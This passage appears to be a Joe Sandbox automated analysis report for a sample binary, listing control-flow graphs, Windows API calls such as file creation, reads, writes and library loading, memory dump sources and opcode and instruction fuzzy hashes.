                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: cf567291c84692d100e5ec609b282d55b3c5af0b5f3d357f2e8f357a6d06844b
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 1F418D70610204DFC715EF25DED6A5A77A5EB49308B50463AF804B73E2CBB9AC05CBAD

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • CreateDirectoryA.KERNEL32(00000000,00000000,?,00000000,0040941F,?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00409376
                                                                                                                                                                                                                                      • GetLastError.KERNEL32(00000000,00000000,?,00000000,0040941F,?,?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040937F
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CreateDirectoryErrorLast
                                                                                                                                                                                                                                      • String ID: .tmp
                                                                                                                                                                                                                                      • API String ID: 1375471231-2986845003
                                                                                                                                                                                                                                      • Opcode ID: 7ba2b511fbcbba0bdafc57409f78771f2ffb69bdc1885ec5b7c8c3418ce725e0
                                                                                                                                                                                                                                      • Instruction ID: 229665e4fb482f752e04f7b041ef1ce89d659938bfc828767b82506ffacbf3f4
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7ba2b511fbcbba0bdafc57409f78771f2ffb69bdc1885ec5b7c8c3418ce725e0
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 7C213774A04208ABDB05EFA1C8429DFB7B9EF88304F50457BE901B73C2DA7C9E059A65

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                      control_flow_graph 337 407749-40774a 338 4076dc-4076e6 WriteFile 337->338 339 40774c-40776f 337->339 341 4076e8-4076ea call 40748c 338->341 342 4076ef-4076f2 338->342 340 407770-407785 339->340 343 407787 340->343 344 4077f9 340->344 341->342 346 407700-407704 342->346 347 4076f4-4076fb call 4073ec 342->347 348 40778a-40778f 343->348 349 4077fd-407802 343->349 350 40783b-40783d 344->350 351 4077fb 344->351 347->346 355 407803-407819 348->355 357 407791-407792 348->357 349->355 353 407841-407843 350->353 351->349 356 40785b-40785c 353->356 355->356 366 40781b 355->366 358 4078d6-4078eb call 407890 InterlockedExchange 356->358 359 40785e-40788c 356->359 360 407724-407741 357->360 361 407794-4077b4 357->361 379 407912-407917 358->379 380 4078ed-407910 358->380 375 407820-407823 359->375 376 407890-407893 359->376 365 4077b5 360->365 367 407743 360->367 361->365 370 4077b6-4077b7 365->370 371 4077f7-4077f8 365->371 372 40781e-40781f 366->372 373 407746-407747 367->373 374 4077b9 367->374 370->374 371->344 372->375 373->337 378 4077bb-4077cd 373->378 374->378 381 407824 375->381 382 407898 375->382 376->382 378->353 383 4077cf-4077d4 378->383 380->379 380->380 384 407825 381->384 385 40789a 381->385 382->385 383->350 390 4077d6-4077de 383->390 387 407896-407897 384->387 388 407826-40782d 384->388 389 40789f 385->389 387->382 391 4078a1 388->391 392 40782f 388->392 389->391 390->340 400 4077e0 390->400 394 4078a3 391->394 395 4078ac 391->395 396 407832-407833 392->396 397 4078a5-4078aa 392->397 394->397 399 4078ae-4078af 395->399 396->350 396->372 397->399 399->389 401 4078b1-4078bd 399->401 400->371 401->382 402 4078bf-4078c0 401->402
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • WriteFile.KERNEL32(?,?,?,?,00000000), ref: 004076DF
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: FileWrite
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3934441357-0
                                                                                                                                                                                                                                      • Opcode ID: 43d3196ec1ce5242573e8f450cfa6a0a1bc6604aabb0088ea34051851cbbaa4a
                                                                                                                                                                                                                                      • Instruction ID: 20d0a63744b7af467993d3e8aec565234b7be2d060ba20bf9fd199bb98bd5a4e
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 43d3196ec1ce5242573e8f450cfa6a0a1bc6604aabb0088ea34051851cbbaa4a
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 8251D12294D2910FC7126B7849685A53FE0FE5331132E92FBC5C1AB1A3D27CA847D35B

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                      control_flow_graph 403 401fd4-401fe6 404 401fe8 call 401918 403->404 405 401ffb-402010 403->405 409 401fed-401fef 404->409 407 402012-402017 RtlEnterCriticalSection 405->407 408 40201c-402025 405->408 407->408 410 402027 408->410 411 40202c-402032 408->411 409->405 412 401ff1-401ff6 409->412 410->411 413 402038-40203c 411->413 414 4020cb-4020d1 411->414 415 40214f-402158 412->415 418 402041-402050 413->418 419 40203e 413->419 416 4020d3-4020e0 414->416 417 40211d-40211f call 401ee0 414->417 420 4020e2-4020ea 416->420 421 4020ef-40211b call 402f54 416->421 427 402124-40213b 417->427 418->414 422 402052-402060 418->422 419->418 420->421 421->415 425 402062-402066 422->425 426 40207c-402080 422->426 431 402068 425->431 432 40206b-40207a 425->432 428 402082 426->428 429 402085-4020a0 426->429 435 402147 427->435 436 40213d-402142 RtlLeaveCriticalSection 427->436 428->429 434 4020a2-4020c6 call 402f54 429->434 431->432 432->434 434->415 436->435
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • RtlEnterCriticalSection.KERNEL32(0040C41C,00000000,00402148), ref: 00402017
                                                                                                                                                                                                                                        • Part of subcall function 00401918: RtlInitializeCriticalSection.KERNEL32(0040C41C,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 0040192E
                                                                                                                                                                                                                                        • Part of subcall function 00401918: RtlEnterCriticalSection.KERNEL32(0040C41C,0040C41C,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 00401941
                                                                                                                                                                                                                                        • Part of subcall function 00401918: LocalAlloc.KERNEL32(00000000,00000FF8,0040C41C,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 0040196B
                                                                                                                                                                                                                                        • Part of subcall function 00401918: RtlLeaveCriticalSection.KERNEL32(0040C41C,004019D5,00000000,004019CE,?,?,0040217A,?,?,?,?,?,00401B95,00401DBB,00401DE0), ref: 004019C8
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CriticalSection$Enter$AllocInitializeLeaveLocal
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 296031713-0
                                                                                                                                                                                                                                      • Opcode ID: e41243de7c80276a36dcdd2c2c0e451bb1a6f3055e5ddec7aea90b49354f7273
                                                                                                                                                                                                                                      • Instruction ID: b272be6629c35a549fc4f1c5a19e6e0df2414f51bb24a7fd7fb800939d1160d0
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: e41243de7c80276a36dcdd2c2c0e451bb1a6f3055e5ddec7aea90b49354f7273
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: D4419CB2A40711DFDB108F69DEC562A77A0FB58314B25837AD984B73E1D378A842CB48

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                      control_flow_graph 439 406fa0-406ff3 SetErrorMode call 403414 LoadLibraryA
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • SetErrorMode.KERNEL32(00008000), ref: 00406FAA
                                                                                                                                                                                                                                      • LoadLibraryA.KERNEL32(00000000,00000000,00406FF4,?,00000000,00407012,?,00008000), ref: 00406FD9
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ErrorLibraryLoadMode
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2987862817-0
                                                                                                                                                                                                                                      • Opcode ID: 9b48b29771c4fc6652b627c4d055133170331230f079557c80f3f4e2880abe46
                                                                                                                                                                                                                                      • Instruction ID: 292e1fc4e19851716b0ab93d2d43454b233f1d25ff8a05a0d03104374ea2dcbc
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 9b48b29771c4fc6652b627c4d055133170331230f079557c80f3f4e2880abe46
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: D6F08270A14704BEDB129FB68C5282ABBECEB4DB0475349BAF914A26D2E53C5C209568
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(?,?,?,00000000), ref: 0040768B
                                                                                                                                                                                                                                      • GetLastError.KERNEL32(?,?,?,00000000), ref: 00407693
                                                                                                                                                                                                                                        • Part of subcall function 0040748C: GetLastError.KERNEL32(0040738C,0040752A,?,?,020A03AC,?,00409CCE,00000001,00000000,00000002,00000000,0040A2C5,?,00000000,0040A2FC), ref: 0040748F
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ErrorLast$FilePointer
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1156039329-0
                                                                                                                                                                                                                                      • Opcode ID: cf8b3d77442686d6cce32677ffa2556d95a4d660bd32a6059a32509021572d83
                                                                                                                                                                                                                                      • Instruction ID: 64daf3b7b2b4cd691f255a674f922558070816022eb0a012369b73df1192a31e
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: cf8b3d77442686d6cce32677ffa2556d95a4d660bd32a6059a32509021572d83
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B2E092766081016FD600D55EC881B9B37DCDFC5364F104536B654EB2D1D679EC108776

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                      control_flow_graph 443 40762c-40764a ReadFile 444 407663-40766a 443->444 445 40764c-407650 443->445 446 407652-40765a GetLastError 445->446 447 40765c-40765e call 40748c 445->447 446->444 446->447 447->444
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • ReadFile.KERNEL32(?,?,?,?,00000000), ref: 00407643
                                                                                                                                                                                                                                      • GetLastError.KERNEL32(?,?,?,?,00000000), ref: 00407652
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ErrorFileLastRead
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1948546556-0
                                                                                                                                                                                                                                      • Opcode ID: 1b4aea639ae4b78e93b9ef79541d7064bf1f98a27d237b51b731e51654b8bdcb
                                                                                                                                                                                                                                      • Instruction ID: e2f452503b48da12a69c10a9d1416f2aa512a4714c212e67fea7d8588799396e
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 1b4aea639ae4b78e93b9ef79541d7064bf1f98a27d237b51b731e51654b8bdcb
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 69E012A1A081106ADB24A66E9CC5F6B6BDCCBC5724F14457BF504DB382D678DC0487BB
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • SetFilePointer.KERNEL32(?,00000000,?,00000001), ref: 004075DB
                                                                                                                                                                                                                                      • GetLastError.KERNEL32(?,00000000,?,00000001), ref: 004075E7
                                                                                                                                                                                                                                        • Part of subcall function 0040748C: GetLastError.KERNEL32(0040738C,0040752A,?,?,020A03AC,?,00409CCE,00000001,00000000,00000002,00000000,0040A2C5,?,00000000,0040A2FC), ref: 0040748F
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ErrorLast$FilePointer
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1156039329-0
                                                                                                                                                                                                                                      • Opcode ID: 7730a1f6a5d1c383143cef2e1ec1cb69b5af0836910a757b2920ce96cbe13b7f
                                                                                                                                                                                                                                      • Instruction ID: 74cf86129294d2faf5969c20f66175129728110ffa3c668ef2bae8a95e28f18b
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 7730a1f6a5d1c383143cef2e1ec1cb69b5af0836910a757b2920ce96cbe13b7f
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C4E04FB1600210AFDB10EEB98D81B9676D89F48364F0485B6EA14DF2C6D274DC00C766
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • VirtualAlloc.KERNEL32(00000000,?,00002000,00000001,?,?,?,00401739), ref: 0040145F
                                                                                                                                                                                                                                      • VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00002000,00000001,?,?,?,00401739), ref: 00401486
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Virtual$AllocFree
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 2087232378-0
                                                                                                                                                                                                                                      • Opcode ID: 2e9c029c9a25ba07e21da294550151284eb3fb058128c9ffe8d20eb9f4f906d3
                                                                                                                                                                                                                                      • Instruction ID: 29306f1da17679ce7d7d3cecb65679b0075e6f6f2ddca0a826851c871ac90975
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 2e9c029c9a25ba07e21da294550151284eb3fb058128c9ffe8d20eb9f4f906d3
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 57F02772B0032057DB206A6A0CC1B636AC59F85B90F1541BBFA4CFF3F9D2B98C0042A9
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetSystemDefaultLCID.KERNEL32(00000000,004053B6), ref: 0040529F
                                                                                                                                                                                                                                        • Part of subcall function 00404CDC: LoadStringA.USER32(00400000,0000FF87,?,00000400), ref: 00404CF9
                                                                                                                                                                                                                                        • Part of subcall function 0040520C: GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0040C4BC,00000001,?,004052D7,?,00000000,004053B6), ref: 0040522A
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: DefaultInfoLoadLocaleStringSystem
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1658689577-0
                                                                                                                                                                                                                                      • Opcode ID: ef449c44a2a61a26d18614e24c7ade2666283ce56a0d8fcdc2eeed56ad2c4646
                                                                                                                                                                                                                                      • Instruction ID: b95c725f163960c8622ba1b0af82130980b93a97e76f79286a035b518bc8de08
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: ef449c44a2a61a26d18614e24c7ade2666283ce56a0d8fcdc2eeed56ad2c4646
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 90314F75E01509ABCB00DF95C8C19EEB379FF84304F158577E815BB286E739AE068B98
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • CreateFileA.KERNEL32(00000000,?,?,00000000,?,00000080,00000000), ref: 004075B8
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CreateFile
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 823142352-0
                                                                                                                                                                                                                                      • Opcode ID: c8aa5b1e1f382d9b7ab40d46c96f796d669d4b8c7333918930cf1677525ebce7
                                                                                                                                                                                                                                      • Instruction ID: d860c9bcffbd3325f9178b4d72e9b59b5a3ff3896166b15a891a1a6cde46a7a7
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c8aa5b1e1f382d9b7ab40d46c96f796d669d4b8c7333918930cf1677525ebce7
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6EE06D713442082EE3409AEC6C51FA277DCD309354F008032B988DB342D5719D108BE8
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • CreateFileA.KERNEL32(00000000,?,?,00000000,?,00000080,00000000), ref: 004075B8
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CreateFile
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 823142352-0
                                                                                                                                                                                                                                      • Opcode ID: 3bd7282c13d8f152a8301508d2aa72b6e2817799d08f3caede8a9fdcd0036c45
                                                                                                                                                                                                                                      • Instruction ID: d44512077142226ebef1615cfdb59f208ea4aebd3ed4d24446e2b73eb7949d4a
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 3bd7282c13d8f152a8301508d2aa72b6e2817799d08f3caede8a9fdcd0036c45
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A7E06D713442082ED2409AEC6C51F92779C9309354F008022B988DB342D5719D108BE8
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetFileAttributesA.KERNEL32(00000000,00000000,00406A24,?,?,?,?,00000000,?,00406A39,00406D67,00000000,00406DAC,?,?,?), ref: 00406A07
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AttributesFile
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 3188754299-0
                                                                                                                                                                                                                                      • Opcode ID: 2f6b808c0a98facf9b4219f47e50352985dbcf5de86cc118cb6830f30f21a29b
                                                                                                                                                                                                                                      • Instruction ID: ccd219c895c276d3a4f2ed408fb3af00451e62210c6f1137e8185e88dac79a2a
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 2f6b808c0a98facf9b4219f47e50352985dbcf5de86cc118cb6830f30f21a29b
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A0E0ED30300304BBD301FBA6CC42E4ABBECDB8A708BA28476B400B2682D6786E108428
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • WriteFile.KERNEL32(?,?,?,?,00000000), ref: 004076DF
                                                                                                                                                                                                                                        • Part of subcall function 0040748C: GetLastError.KERNEL32(0040738C,0040752A,?,?,020A03AC,?,00409CCE,00000001,00000000,00000002,00000000,0040A2C5,?,00000000,0040A2FC), ref: 0040748F
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ErrorFileLastWrite
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 442123175-0
                                                                                                                                                                                                                                      • Opcode ID: 8d2af3ab7a63a8387ab01b8eb17bee2761ee08039256abb6018552f25082062b
                                                                                                                                                                                                                                      • Instruction ID: d11fc940c1eb4d9ab9bd5ee1403c634941755763b259216c6d34bff68e3e8731
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 8d2af3ab7a63a8387ab01b8eb17bee2761ee08039256abb6018552f25082062b
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6DE0ED766081106BD710A65AD880EAB67DCDFC5764F00407BF904DB291D574AC049676
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • FormatMessageA.KERNEL32(00003200,00000000,4C783AFB,00000000,?,00000400,00000000,?,00409127,00000000,kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000), ref: 004072A3
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000B.00000002.2533028142.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2532902829.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533153623.000000000040B000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000B.00000002.2533295087.0000000000411000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_11_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
